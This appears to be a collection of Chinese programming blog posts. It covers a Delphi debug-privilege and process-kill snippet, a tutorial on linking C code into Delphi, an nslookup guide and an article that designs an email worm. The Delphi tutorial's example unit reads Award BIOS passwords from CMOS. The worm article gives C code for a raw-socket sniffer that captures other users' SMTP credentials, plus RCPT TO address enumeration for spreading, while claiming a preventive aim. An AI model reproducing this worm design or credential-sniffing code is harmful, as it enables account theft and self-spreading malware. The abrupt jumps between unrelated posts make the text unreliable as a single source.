AdjustTokenPrivileges(hToken, False, TP, SizeOf(TP), nil, Dummy);
Result := GetLastError = ERROR_SUCCESS;
end;

var
hToken: Cardinal;
begin
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);
result:=EnablePrivilege(hToken, ‘SeDebugPrivilege’, True);
CloseHandle(hToken);
end;

使用方法:
EnableDebugPrivilege;//提升权限
KillTask(‘xxxx.exe’);//关闭该服务程序.

本文演示代码点这里下载.转载请注明出处.

在Delphi编程中使用C语言代码

陈经韬
    Windows下编程的工具有很多,例如VB,Delphi,VC等等.我在这里不想讨论"它们的具体哪个更好一点"这种幼稚的问题.玩过DOS程序设计的人都知道,DOS下很多语言的实质核心还是调用系统提供的汇编中断函数.到了Windows下,它就变成了我们常说的API了.而在Windows下写程序很多时候都是调用API,语言,只不过是一个表达工具而已.
    我现在已经参加工作大约有半年左右,我们公司是用Borland公司的Delphi作为主开发工具.本着未偏袒任何一个工具的立场,我说句公道话:Delphi是目前Win32下开发程序的最快速,最有效率的工具.
    Delphi适合用来开发应用程序,但是有时侯一些底层的东西可以直接使用C语言来开发.我在公司经常开发跟硬件相关的项目,而很多硬件的SDK包是用C来写的.这个时候我一般把它们转换成Delphi(PASCAL)语法的代码.下面谈一下我的个人粗浅经验.因为当时学校教的是Pascal语言,所以我对C语言并不是太熟手.下面的观点或者代码如有错漏之处希望高手们放小弟一马:)

一:将C语言的程序编译成DLL供Delphi调用.这种方法过于简单,而且需要额外带一个DLL文件,所以不在本文的讨论范围之内.

:直接转换C语言代码到DELPHI代码


   C语言的函数格式与Delphi不同,它们是函数返回类型在前,函数声明在后.对于没有任何返回类型的函数则定义为VOID类型.
   例如:Delphi中函数function MyFunction:(intIN:integer):Bool;相应的C语言代码就变成Bool MyFunction(int intIN);又例如procedure MyProcedure;====>void MyProcedure;采用这种方法,一般要求对C语言比较熟悉.我一般是采用这种方法.下面是我收集整理的自己常用的Delphi与C之间的类型对应表.其中左边是C类型,右边是对应的Delphi类型:

ABC -> TABC 
ACCEL -> TAccel 
ATOM -> TAtom 
BITMAP -> TBitMap 
BITMAPCOREHEADER -> TBitmapCoreHeader 
BITMAPCOREINFO -> TBitmapCoreInfo 
BITMAPFILEHEADER -> TBitmapFileHeader 
BITMAPINFO -> TBitmapInfo 
BITMAPINFOHEADER -> TBitmapInfoHeader 
BOOL -> Bool 
CBT_CREATEWND -> TCBT_CreateWnd 
CBTACTIVATESTRUCT -> TCBTActivateStruct 
CHAR -> Char 
CHAR* -> PChar 
CLIENTCREATESTRUCT -> TClientCreateStruct 
COLORREF -> TColorRef 
COMPAREITEMSTRUCT -> TCompareItemStruct 
COMSTAT -> TComStat 
CREATESTRUCT -> TCreateStruct 
CTLINFO -> TCtlInfo 
CTLSTYLE -> TCtlStyle 
CTLtype -> TCtltype 
DCB -> TDCB 
DDEAACK -> TDDEAck 
DDEADVISE -> TDDEAdvise 
DDEDATA -> TDDEData 
DDEPOKE -> TDDEPoke 
DEBUGHOOKINFO -> TDebugHookInfo 
DELETEITEMSTRUCT -> TDeleteItemStruct 
DEVMODE -> TDevMode 
DOUBLE -> Double 
DRAWITEMSTRUCT -> TDrawItemStruct 
DWORD -> LongInt 
ENUMLOGFONT -> TEnumLogFont 
EVENTMSG -> TEventMsg 
FARPROC -> TFarProc 
FIXED -> TFixed 
FLOAT -> Single 
GLYPHMETRICS -> TGlyphMetrics 
HANDLE -> THandle 
HANDLETABLE -> THandleTable 
HARDWAREHOOKSTRUCT -> THardwareHookStruct 
HELPWININFO -> THelpWinInfo 
INT -> Integer 
KERNINGPAIR -> TKerningPair 
LOGBRUSH -> TLogBrush 
LOGFONT -> TLogFont 
LOGPALETTE -> TLogPalette 
LOGPEN -> TLogPen 
LONG -> LongInt 
LONG DOUBLE -> Extended 
LONG INT -> LongInt 
LPSTR -> PChar 
LPWSTR -> PWideChar 
MAT2 -> TMat2 
MDICREATESTRUCT -> TMDICreateStruct 
MEASUREITEMSTRUCT -> TMeasureItemStruct 
MENUITEMTEMPLATE -> TMenuItemTemplate 
MENUITEMTEMPLATEHEADER -> TMenuItemTemplateHeader
METAFILEPICT -> TMetaFilePict 
METAHEADER -> TMetaHeader 
METARECORD -> TMetaRecord 
MINMAXINFO -> TMinMaxInfo 
MOUSEHOOKSTRUCT -> TMouseHookStruct 
MSG -> TMsg 
MULTIKEYHELP -> TMultiKeyHelp 
NCCALCSIZE_PARAMS -> TNCCalcSize_Params 
NEWTEXTMETRIC -> TNewTextMetric 
OFSTRUCT -> TOFStruct 
OUTLINETEXTMETRIC -> TOutlineTextMetric 
PAINTSTRUCT -> TPaintStruct 
PALETTEENTRY -> TPaletteEntry 
PANOSE -> TPanose 
PATTERN -> TPattern 
POINTFX -> TPointFX 
PSTR -> PChar 
PWSTR -> PWideChar 
RASTERIZER_STATUS -> TRasterizer_Status 
RGBQUAD -> TRGBQuad 
RGBTRIPLE -> TRGBTriple 
SEGINFO -> TSegInfo 
SHORT -> SmallInt 
SHORT INT -> SmallInt 
SIZE -> TSize 
TEXTMETRIC -> TTextMetric 
TPOINT -> TPoint 
TRECT -> TRect 
TTPOLYCURVE -> TTTPolyCurve 
TTPOLYGONHEADER -> TPolygonHeader 
UINT -> Word 
UNSIGNED -> Word 
UNSIGNED CHAR -> Byte 
UNSIGNED INT -> Word 
UNSIGNED LONG -> LongInt(DWORD) 
UNSIGNED LONG INT -> LongInt 
UNSIGNED SHORT -> Word 
UNSIGNED SHORT INT -> Word 
VOID* -> Pointer 
WINDOWPLACEMENT -> TWindowPlacement 
WINDOWPOS -> TWindowPos 
WNDCLASS -> TWndClass 
WORD -> Word 

三:在Delphi中直接链接C语言的OBJ文件.
   这种方法的好处在于最终EXE不用带任何外部文件.也不用对C语言过于熟悉.
   我们都知道,代码在编译成可执行文件(或DLL,OCX文件,下同)之前,都必须得先生成OBJ文件(DELPHI一般是DCU文件,但也可以通过编辑编译选项生成OBJ文件),然后把OBJ文件和资源文件(*.RES)链接成最终的可执行文件.利用这个方法,我们可以直接把OBJ文件链接到我们的程序里面.
   不过需要注意的是,编译器不同,生成的OBJ文件也不一样.Microsoft的编译器生成的OBJ文件是COFF格式,而Borland的C++Builder生成的是OMF格式.因为我们需要在Delphi中链接,所以必须使用CBC,或者Borland官方站点带的免费编译工具.下面我们通过一个简单的例子来说明具体操作步骤:
   这个例子是简单的提供一个函数,用来判断一个文件是否为Dat格式的VCD文件.头文件声明如下:


/*
文件名称:DatFormat.h
*/
#ifndef DatFormat_H
#define DatFormat_H
#include <windows.h>
#pragma pack(push, 1)//这个与下面的配对,一般用到记录类型的时候需要定义,这里实际不用


#ifdef __cplusplus
extern "C" {
#endif

extern BOOL CheckIsDatFile(const char * FileName,BOOL *IsDatFile);

#ifdef __cplusplus
}
#endif


#pragma pack(pop)

#endif // DatFormat_H

  具体实现代码DatFormat.c如下:

#include "DatFormat.h"
BOOL CheckIsDatFile(const char * FileName,BOOL *IsDatFile)
/*
函数说明:该函数用于判断一个文件是否为Dat文件(即VCD文件)格式.
参数:
IN:
FileName:欲判断的文件名称
IN,OUT:
IsDatFile:是否为Dat格式文件
OUT:
读文件失败返回FALSE,否则返回TRUE.
————————————
作者:陈经韬.2004,01,17. http://www.138soft.com,lovejingtao@21cn.com
*/
{
HANDLE hFile;
DWORD dwBytesRead;
BOOL re;
char MyBuf[4];

*IsDatFile=FALSE;

//建立读文件句柄
hFile = CreateFile(FileName,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
0);


if (hFile == INVALID_HANDLE_VALUE) return FALSE;

//读文件
re = ReadFile(hFile,
&MyBuf,
4,
&dwBytesRead,
NULL);

if (dwBytesRead!=4)
{
CloseHandle(hFile);
return FALSE;
}

//读文件失败的时候
if (re!=TRUE)
{
CloseHandle(hFile);
return FALSE;
}
CloseHandle(hFile);
*IsDatFile=(MyBuf[0]==’R’ && MyBuf[1]==’I’ && MyBuf[2]==’F’ && MyBuf[3]==’F');

return(TRUE);
}

  运行CBC,新建一个工程,然后把DatFormat.c添加到工程里面,编译整个工程,将得到我们需要的OBJ文件:DatFormat.OBJ.然后我们关闭CBC即可,因为下面不再需要用到它了.
  运行Delphi,新建一个工程并保存.然后把DatFormat.OBJ拷贝到它的目录之下.在单元的implementation下面添加如下代码:

{$LINK ‘DatFormat.obj’} //链接外部OBJ文件
function _CheckIsDatFile(const FileName:Pchar;IsDatFile:PBool):Bool;cdecl;external;//定义函数.其中cdecl进栈方式说明采用C语言格式传递参数.external说明是个外部声明函数.

  注意函数声明的原形与C定义的不一样.必须在前面添加一个下划线.原因是因为编译器的链接符号中.C与C++是不一样的.因为这个不是本文重点,所以这里不作讨论.请感兴趣的朋友自行参阅相关资料.
  然后我们写如下代码调用此函数:

procedure TFrmMain.Button1Click(Sender: TObject);
var
IsDatFile:Bool;
begin
if OpenDialog1.Execute then
if _CheckIsDatFile(Pchar(OpenDialog1.FileName),@IsDatFile) then
if IsDatFile then ShowMessage(‘恭喜!该文件是一个Dat格式的视频文件!’)
else ShowMessage(‘不好意思,该文件不是一个Dat格式的视频文件!’)
else ShowMessage(‘读文件错误!’);
end;

  编译这个程序,将得到一个干净的可执行EXE文件了.

四:C++Builder中使用Delphi单元

  这个实际是题外话了,不过这里还是提一提:假设我们有一个获取BIOS密码的Delphi单元

unit AwardBiosPas;

{=======================================================
项目:
在Delphi编程中使用C语言代码- 演示程序
模块: 获取BIOS密码单元
描述:
版本:
日期: 2004-01-17
作者: 陈经韬.lovejingtao@21cn.com,http://www.138soft.com
更新: 2004-01-17
=======================================================}

interface
uses
windows, SysUtils;

function My_GetBiosPassword: string;

implementation

function CalcPossiblePassword(PasswordValue: WORD): string;
var
I: BYTE;
C: CHAR;
S: string[8];

begin
I := 0;
while PasswordValue <> 0 do
begin
Inc(I);
if $263 > PasswordValue then
begin
if $80 > PasswordValue then
S[I] := CHAR(PasswordValue)
else if $B0 > PasswordValue then
S[I] := CHAR(PasswordValue and $77)
else if $11D > PasswordValue then
S[I] := CHAR($30 or (PasswordValue and $0F))
else if $114 > PasswordValue then
begin
S[I] := CHAR($64 or (PasswordValue and $0F));
if ‘0′ > S[I] then
S[I] := CHAR(BYTE(S[I]) + 8);
end
else if $1C2 > PasswordValue then
S[I] := CHAR($70 or (PasswordValue and $03))
else if $1E4 > PasswordValue then
S[I] := CHAR($30 or (PasswordValue and $03))
else
begin
S[I] := CHAR($70 or (PasswordValue and $0F));
if ‘z’ < S[I] then
S[I] := CHAR(BYTE(S[I]) – 8);
end;
end
else
S[I] := CHAR($30 or (PasswordValue and $3));
PasswordValue := (PasswordValue – BYTE(S[I])) shr 2;
end;

S[0] := CHAR(I);
PasswordValue := I shr 1;
while PasswordValue < I do
begin {this is to do because award starts calculating with the last letter}

C := S[BYTE(S[0]) – I + 1];
S[BYTE(S[0]) – I + 1] := S[I];
S[I] := C;
Dec(I);
end;
CalcPossiblePassword := S;
end;

function readcmos(off: byte): byte;
var
value: byte;
begin
asm
xor ax, ax
mov al, off
out 70h, al
in al, 71h
mov value, al
end;
readcmos := value;
end;

function My_GetBiosPassword: string;
var
superpw, userpw: word;
begin
if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是NT
begin
pchar(@superpw)[0] := char(readcmos($1C));
pchar(@superpw)[1] := char(readcmos($1D));
pchar(@userpw)[0] := char(readcmos($64));
pchar(@userpw)[1] := char(readcmos($65));
Result:= (‘************BIOS密码**********************’)+#13+’超级用户密码为:’ + CalcPossiblePassword(superpw) + #13 + ‘用户密码为:’ + CalcPossiblePassword(userpw);
end
else
Result := ‘用户系统为NT,无法获取BIOS密码!’;
end;
end.

  如何直接在CBC中使用它呢?新建一个CBC工程,然后把这个单元加到项目里面去.具体操作为:Add to Project—>文件类型:pascal unit(*.pas),然后Build Demo1.这个时候将在AwardBiosPas.pas的同目录下生成一个AwardBiosPas.hpp文件.把它引用到我们的需要调用的单元.然后直接调用即可:
void __fastcall TFrmMain::Button1Click(TObject *Sender)
{
ShowMessage(My_GetBiosPassword());
}

五:其它方法.当然可以用RES将C语言生成的二进制文件,但这个方法与第一种方法差不多.优点是不怕文件丢失.缺点是很容易被别人直接用资源修改工具打开修改.这个时候可以使用笔者写的自制编程序工具PasAnywhere.不过这已经是另外一个话题了.

NSLOOKUP是NT、2000中连接DNS服务器,查询域名信息的一个非常有用的命令,简单介绍如下:

实例:查询163.com域名信息

D:\>nslookup

Default Server: ns-px.online.sh.cn

Address: 202.96.209.5

当前的DNS服务器 ,可用server命令改变。

> set type=any

设置查选条件为所有类型记录(A、MX等)

> 163.com.

查询域名,注意有.

Server: ns-px.online.sh.cn

Address: 202.96.209.5

查询结果~~

Non-authoritative answer:

未证实回答,出现此提示表明该域名的注册主DNS非提交查询的DNS服务器

163.com nameserver = NS.NEASE.NET

163.com nameserver = NS2.NEASE.NET

查询域名的名字服务器

163.com

primary name server = ns.163.com

主要名字服务器

responsible mail addr = admin.NEASE.NET

联系人邮件地址admin@nease.net

serial = 20010348

区域传递序号,又叫文件版本,当发生区域复制时,该域用来指示区域信息的更新情况。

refresh = 10800 (3 hours)

重刷新时间,当区域复制发生时,指定区域复制的更新时间间隔

retry = 3600 (1 hour)

重试时间,区域复制失败时,重新尝试的时间

expire = 360000 (4 days 4 hours)

有效时间,区域复制在有效时间内不能完成,则终止更新

default TTL = 3600 (1 hour)

TTL设置

被查询域名的资料

163.com MX preference = 50, mail exchanger = m218.163.com

163.com MX preference = 50, mail exchanger = m207.163.com

163.com MX preference = 50, mail exchanger = m208.163.com

163.com MX preference = 50, mail exchanger = m209.163.com

163.com MX preference = 50, mail exchanger = m210.163.com

163.com MX preference = 50, mail exchanger = m229.163.com

163.com MX preference = 50, mail exchanger = m246.163.com

163.com MX preference = 50, mail exchanger = m180.163.com

163.com MX preference = 50, mail exchanger = m214.163.com

163.com internet address = 202.106.185.77

163.com nameserver = NS.NEASE.NET

163.com nameserver = NS2.NEASE.NET

NS.NEASE.NET internet address = 202.106.185.75

NS2.NEASE.NET internet address = 61.145.113.57

m218.163.com internet address = 202.108.44.218

m207.163.com internet address = 202.108.44.207

m208.163.com internet address = 202.108.44.208

m209.163.com internet address = 202.108.44.209

m210.163.com internet address = 202.108.44.210

m229.163.com internet address = 202.108.44.229

m246.163.com internet address = 202.108.44.246

m180.163.com internet address = 202.108.44.180

被查询域名的满足条件记录

————————

该命令的帮助(汉字部分为说明)

> help

Commands: (identifiers are shown in uppercase, [] means optional)

命令,标记有[]为可选

NAME – print info about the host/domain NAME using default server

查询主机或域名,用缺省服务器

NAME1 NAME2 – as above, but use NAME2 as server

查询主机或域名,用NAME2做提交查询服务器

help or ? – print info on common commands

打印帮助信息

set OPTION – set an option

设置选项

all – print options, current server and host

打印当前选项和服务器

[no]debug – print debugging information

打印调试信息

[no]d2 – print exhaustive debugging information

打印详细的调试信息

[no]defname – append domain name to each query

在查询中增加域名

[no]recurse – ask for recursive answer to query

请求递归查询

[no]search – use domain search list

使用域名搜索列表

[no]vc – always use a virtual circuit

始终使用虚电路

domain=NAME – set default domain name to NAME

设置缺省域名

srchlist=N1[/N2/.../N6] – set domain to N1 and search list to N1,N2, etc.

设置域名列表搜索列表

root=NAME – set root server to NAME

设置根服务器

retry=X – set number of retries to X

设置重试次数

timeout=X – set initial time-out interval to X seconds

设置超时时间

type=X – set query type (ex. A,ANY,CNAME,MX,NS,PTR,SOA,SRV)

设置查询记录类型

querytype=X – same as type

与上同

class=X – set query class (ex. IN (Internet), ANY)

设置查询类

[no]msxfr – use MS fast zone transfer

使用快速区域传递

ixfrver=X – current version to use in IXFR transfer request

server NAME – set default server to NAME, using current default server

lserver NAME – set default server to NAME, using initial server

finger [USER] – finger the optional NAME at the current default host

root – set current default server to the root

ls [opt] DOMAIN [> FILE] – list addresses in DOMAIN (optional: output to FILE)

-a – list canonical names and aliases

-d – list all records

-t TYPE – list records of the given type (e.g. A,CNAME,MX,NS,PTR etc.)

view FILE – sort an ‘ls’ output file and view it with pg

exit – exit the program

退出程序

————

一些说明:

1、任何合法有效的域名都必须有至少一个主的名字服务器。当主名字服务器失效时,才会使用辅助名字服务器。这里的失效指服务器没有响应。

2、DNS中的记录类型有很多,分别****不同的作用,常见的有A记录(主机记录,用来指示主机地址),MX记录(邮件交换记录,用来指示邮件服务器的交换程序),CNAME记录(别名记录),SOA(授权记录),PTR(指针)等。

3、一个有效的DNS服务器必须在注册机构注册,这样才可以进行区域复制。所谓区域复制,就是把自己的记录定期同步到其他服务器上。当DNS接收到非法DNS发送的区域复制信息,会将信息丢弃。

4、DNS有两种,一是普通DNS,一是根DNS,根DNS不能设置转发查询,也就是说根DNS不能主动向其他DNS发送查询请求。如果内部网络的DNS被设置为根DNS,则将不能接收网外的合法域名查询,请注意,有关根DNS的说明们

2005年05月31日

    病毒,DDOS,垃圾邮件已经成为当今网络安全的三大技术难题。反垃圾邮件之所以如此困难,是因为(E)SMTP协议本身的缺陷。正如DDOS,是利用TCP/IP协议固有的缺陷一样。需要说明的是,邮件蠕虫为了传播自身而发送的邮件,也属于垃圾邮件的一种。
    2003年出现的Sobig蠕虫使垃圾邮件的数量大为增加,许多安全专家认为Sobig使用了垃圾邮件技术并预言:蠕虫技术和垃圾邮件技术的融合将是未来的发展趋势。其实,这种说法虽然正确但不准确,不错,Sobig发送的邮件确实属于垃圾邮件,可是I LOVE YOU,HappyTime病毒发送的邮件又何尝不是?只不过Sobig发送两份相同邮件的频率高,所以截获的传播数量才特别大,但真正的感染数量并不大,Sobig在技术上并未采用垃圾邮件技术。
    本文将在分析邮件蠕虫和垃圾邮件关键技术的基础上,提出利用垃圾邮件技术传播蠕虫的思想。当然,这并不是为了传播蠕虫,而是为了更好的预防未来可能出现的这类蠕虫。本文假设读者已经具备了(E)SMTP协议,蠕虫,垃圾邮件方面的知识。

邮件蠕虫的局限与解决方法

邮件蠕虫面临的3个主要问题:一是邮件地址搜集,二是服务器地址来源,三是如何使附件尽可能多地获得执行机会。本文只讨论前两点:

一. 邮件地址搜集

现在流行并被广被使用的搜集方式有两种:

从wab文件获得

从regedit获得wab文件路径,然后分析已知格式的wab文件,读取其中的地址。

从*.ht,*.htm,*.html,*.txt,*.dbx,*.eml等文件获得

可以遍历Internet临时目录或遍历硬盘,从上述扩展名的文件中寻找地址。方法和垃
圾邮件搜索html页面类似,都是寻找mailto和@,作为合法email地址的标志。
第一种方法收集到的地址可信度比较高,点击率也会比较高;第二种方法如果地址选择算法严谨,那么找到的地址基本上都是合法的Email地址,但可信度较低。两种方法搜集到的地址数量都相当有限,成为蠕虫传播的制约条件之一。后文将会提到解决方案。

二.邮件服务器地址和帐号密码的来源

    当前,几乎所有蠕虫都把一个或几个服务器的ip地址硬编码在文件体内,这样,一旦
邮件服务器不可用,蠕虫也就停止了传播,而且,由于网络安全策略的限制,许多感染蠕虫的主机都无法和这些指定的服务器连接,从而影响了蠕虫的传播速度。这里提出一种新的方法来获得大量可靠的SMTP Server,帐户,密码信息。
    在Win2K平台上,我们可以利用WinSock 2的特性,它允许程序使用WSAIoctl( )给一
个SOCK_RAW类型的socket设置SIO_RCVALL属性,这样该socket就可以收到所有经过本机的数据,这是一种无需编写驱动的简易Sniffer。
    许多聪明的读者已经想到下一步的工作了,是的,利用原始套接字捕包,原则如下:

目的端口等于25。
从SYN包开始记录,这是客户端和SMTP Server正在连接。
根据HELO或EHLO来判断服务器是否需要认证。
如果是EHLO,捕获后续的用户名和密码
根据MAIL FROM: 得到发件人
抛弃蠕虫自身向25端口发送的报文。
如果捕获的数据发生错误的次数超过上限,抛弃当前的服务器,恢复到初始状态

为方便起见,可以定义SMTPSERVINFO结构体来保存服务器信息。

typedef struct tagSmtpServerInfo {
    DWORD      dwCredit;         //此服务器信息的可信度,根据发信成败增减
    BOOL       bAuth;            //服务器是否需要认证
    in_addr    dwServerIP;       //邮件服务器的IP
    char       szUserName[32];   //用户名
    char       szPassWord[32];   //口令
    char       szMailFrom[32];   //发件人
} SMTPSERVINFO;

下面的CaptureThread函数是捕包线程,工作方式和原则如上所述,为了节约篇幅,将初始化和判断成功的代码省略。

DWORD WINAPI CaptureThread ( LPVOID p )
{
      WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, … , NULL); //设置为捕获所有报文
      while( TRUE )
      {
        memset( buf , 0 , sizeof(buf) ) ;
        iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ;
        pIpHeader = (IPHEADER *)buf ;
     if(IsExistIP(pIpHeader->destIP) || pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发
continue;
        if((pIpHeader->th_flag & SYN) == SYN)     //是和服务器开始握手吗?
        {
            bNewUser = TRUE;                  //又有新用户发信了,开始记录 :-)
            iStatus=0;
            dwFailCount=0;
        }
        if(bNewUser==FALSE)
            continue;
        pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER);
        switch(iStatus)
        {
            case 0:                                    //握手状态
            {
                m_pSmtpServInfo = new SMTPSERVINFO;
                m_pSmtpServInfo->dwCredit=3;        //初始可信度为3
                 m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip
                 iStatus++;
                break;
            }
            case 1:
            {
                if(::strstr(pBuf,"HELO"))    //匿名smtp server
                {
                    m_pSmtpServInfo->bAuth=FALSE;
                   m_pSmtpServInfo->szUserName[0]=NULL;
                    m_pSmtpServInfo->szPassWord[0]=NULL;
                    iStatus=5;                                //2(user),3(pass)跳过了
                }
                if(::strstr(pBuf,"EHLO"))                    //服务器需要认证
                {
                    m_pSmtpServInfo->bAuth=TRUE;
                     iStatus=2;                            //准备捕捉用户名和密码
                }
                break;
            }
            case 2:                                       //开始收藏帐户和密码
            {
                if(::strstr(pBuf,"AUTH"))
iStatus=3;
                    break;
}
case 3:
{
            lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"\r\n")-pBuf+1);
                 iStatus=4;
                break;
    }
case 4:
    {                               ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"\r\n")-pBuf+1);                    iStatus=5;
            break;
    }
    case 5:
             {
     …
                ::lstrcpyn(m_pSmtpServInfo->szMailFrom,…);
                PostThreadMessage(::gMainThread,…, m_pSmtpServInfo);  //通知主线程
       bNewUser=FALSE;                //不必再捕捉25包了,除非有新的握手信息
iStatus=0;                        //恢复为初始状态。
    …

    主线程负责将此服务器信息写入病毒体,并对病毒体重新编码,使得再次发送的附件包含最新信息;同时,主线程还会启动一个新的邮件地址探测线程,连接此服务器,获得尽量多的此服务器的帐户并向其发送自身。如何获得帐户将在下文说明。
    至此,我们完成了邮件服务器和帐户信息的获取工作,蠕虫每到一处,都会搜集最新的服务器信息,搜集到的信息基本都是网络可达的,因为涉及的到服务器数量极多,范围极广,所以封杀服务器或者帐户是不可能的,这些都是Sniffer捕包获得服务器的优势所在。

垃圾邮件的关键技术

垃圾邮件的详细技术不在本文讨论范围之内,但为了说明问题,必须要有简要的说明,一般来说,垃圾邮件必须解决的两个问题是:

1.发送方式的选择:

利用SMTP 协议无须认证的缺点

利用Open Relay (开放转发)
Open Relay是指由于邮件服务器不理会邮件发送者或邮件接受者的是否为系统所设定的用户,而对所有的入站邮件一律进行转发(Relay)的功能。

特快专递法
特快专递就是利用本机充当发件服务器的功能,由DNS解析出收件服务器的IP地址,然后将本机直接与收件服务器的相连,将邮件直接发送到收件人的收件服务器上。Foxmail的"特快专递"就是这个原理。现在,特快专递已经逐渐失效,安全级别高的Smtp Server不允许非Smtp Server直接发送,避免被Spammer利用。

自建SMTP服务器
Spammer自己建立SMTP服务器,直接和目标服务器连接,发送邮件。这种情况不需要匿名服务器和转发服务器的帮助。目标服务器没有理由拒绝来自一台邮件服务器的请求,所以原理上总能保证发信成功,缺点是必须申请域名,且必须频繁更换ip和域名,因为很快会被列入黑名单。

    由上可见,垃圾邮件的发送技术不适合蠕虫使用,原因是利用上面的方法,Spammer只要找到一个SMTP Server就可以发送数以百万计的邮件了, 一个地址失效后可以人为地更换,而蠕虫则不同,必须自力更生,如上所述的Sniffer就是解决途径。

2.邮件地址的获得

VRFY指令
该指令的作用是验证一个用户是否是本地用户:是,则返回完整的地址;否,则根据SMTP的设置回应。Spammer利用这个命令配合字典穷举用户名来收集有效的邮件地址。在新版本的SMTP软件中,这个指令已被禁用,但未取消。

EXPN指令
该指令用来向服务器查询邮件列表,成功则返回列表,每行一个地址。此指令在新版本的SMTP软件中也被禁用。

分析网页
Spammer通过搜索引擎如Google,Yahoo等,获得url,将网页下载到本地后,通过匹配关键字"mail to:"和"@"来收集地址。这种方法应用很广泛,因为有效并且上面两种方法已不可用。但是现在已经有应对措施,比如用<at>代替@。

虚拟发信法
Spammer通过正规的步骤连接Smtp Server,然后发送HELO(EHLO),MAIL FROM成功后,再发送Rcpt To : <str>,如果得到正确的回应,则收录str,做为合法的邮件地址,然后读取下一个str,再次做Rcpt to尝试,直到发生错误或遍历了所有字符串为止。这种方法的优点在于,在Rcpt  to之前发送的命令都是合理的,所有SMTP服务器都不能拒绝Rcpt To,正如所有Web Server都不能拒绝SYN包一样。

关键就在于此了,前面提到邮件蠕虫搜集地址数量的局限,我们可以采用虚拟发信法
来解决。形象地描述如下:

客户:   Connect(Smtp Server)
服务器:220 smtp.263.net ESMTP ,连接成功
客户:HELO localhost                   EHLO localhost
服务器:250-smtp.263.net
                250-PIPELINING
  …
      250-AUTH LOGIN
客户:AUTH  LOGIN\r\n
服务器:334…
客户:用户名的base64编码
服务器回送:334…
客户:密码的base64编码
服务器:235 Authentication successful
客户: MAIL FROM: <username@263.net>\r\n
服务器:250 Ok
客户: RCPT TO: <str>\r\n
服务器回送:
?    250 , str为合法帐户。
?    550, invalid user。
?    522, too many rcpto。
客户:DATA\r\n


    前文已经实现了用Sniffer方法获得邮件服务器和帐户信息,并由bAuth字段标志是否需要认证,现在就可以利用SMTPSERVINFO来连接服务器,探测合法帐户了。还有一个问题,就是str的来源,我们选择从本地文件获得的方法,原则如下:

遍历硬盘,搜索以txt,ht*,doc,eml,ini等为扩展名的文件。
找到一个word,加入 m_WordList列表。
按照合法邮件地址的规则,找到一个email,加入m_EmailList列表,发送邮件线程会直接读取m_EmailList列表并发送邮件。
邮件地址探测线程(EmailSpamer)读取m_WordList列表,验证是否为合法帐户,是则加入到m_EmailLsit。
m_Wordlist和m_EmailList都要保持一定的数量且记录互斥,以减小向同一E-Mail地址发送多次邮件的可能性。

现在获得了大量的str,可以根据(E)SMTP协议探测了,探测线程EmailSpamer如下:

while(TRUE)
{
       m_Smtp.TalkWithSmtpServer();
    do
    {
        int iRet = m_Smtp.SendRcptTo(szRcptTo);  //szRcptTo来自m_WordList
        if(iRet==250)                 //代表成功,确实有这个帐户
           ::m_EMailList->Add(szRcptTo);
           else if(iRet==550)             //帐户错误,休眠一会,避免被封
             Sleep(100);
        else                         //错误,断开连接,重新探测
            break;
}while(::m_WordList->GetCount());


至此,我们的思路已经十分清晰:

    蠕虫运行后,首先启动文件遍历线程,从文件中获得大量的单词,加入m_WordList,同时把从文件中获得的邮件地址加入m_EmailList。地址探测线程先利用病毒体内已有的服务器信息开始探测,单词取自m_WordList, 对于验证成功的word,将此word+服务器域名构成word@xxx.yyy的形式后加入m_EmailList。发送邮件线程不断读取m_EmailList发送邮件。 监听线程捕获并分析网络报文,补充新的服务器资源,并写入病毒体。这样,源源不断的邮件地址就会应接不暇,蠕虫得以大面积扩散。
    需要说明的是,大的邮件服务提供商通常有好的anti-spam特性,如果rcpt to错误次数达到一个上限,那么此帐户就会被停用一段时间。但是,规模越大,注册的帐户也就越多,随机找个单词,基本上都是合法帐户。对于小型的邮件服务提供者,安全性很差,对rcpt to次数根本没有限制。归根结底,不管被封与否,在此之前都已经发现了数目可观的邮件地址,并向这些地址发送了蠕虫。

结束语

    网络安全的问题只有当所有的计算机用户都成为安全专家时才有可能得到彻底解决,事实上,这是不可能的,而且我们也不能依赖或等待全民计算机水平的提高。目前可以做的,并且各国一直在努力做的,就是加快反垃圾邮件的立法和规范邮件提供商的服务。中国反垃圾邮件协会今年采取了一系列有力措施,包括两次公布垃圾邮件服务器黑名单,制定邮件服务规范,推动垃圾邮件立法等,这些虽不能完全遏制融合垃圾邮件技术的蠕虫,但具有一定的制约效果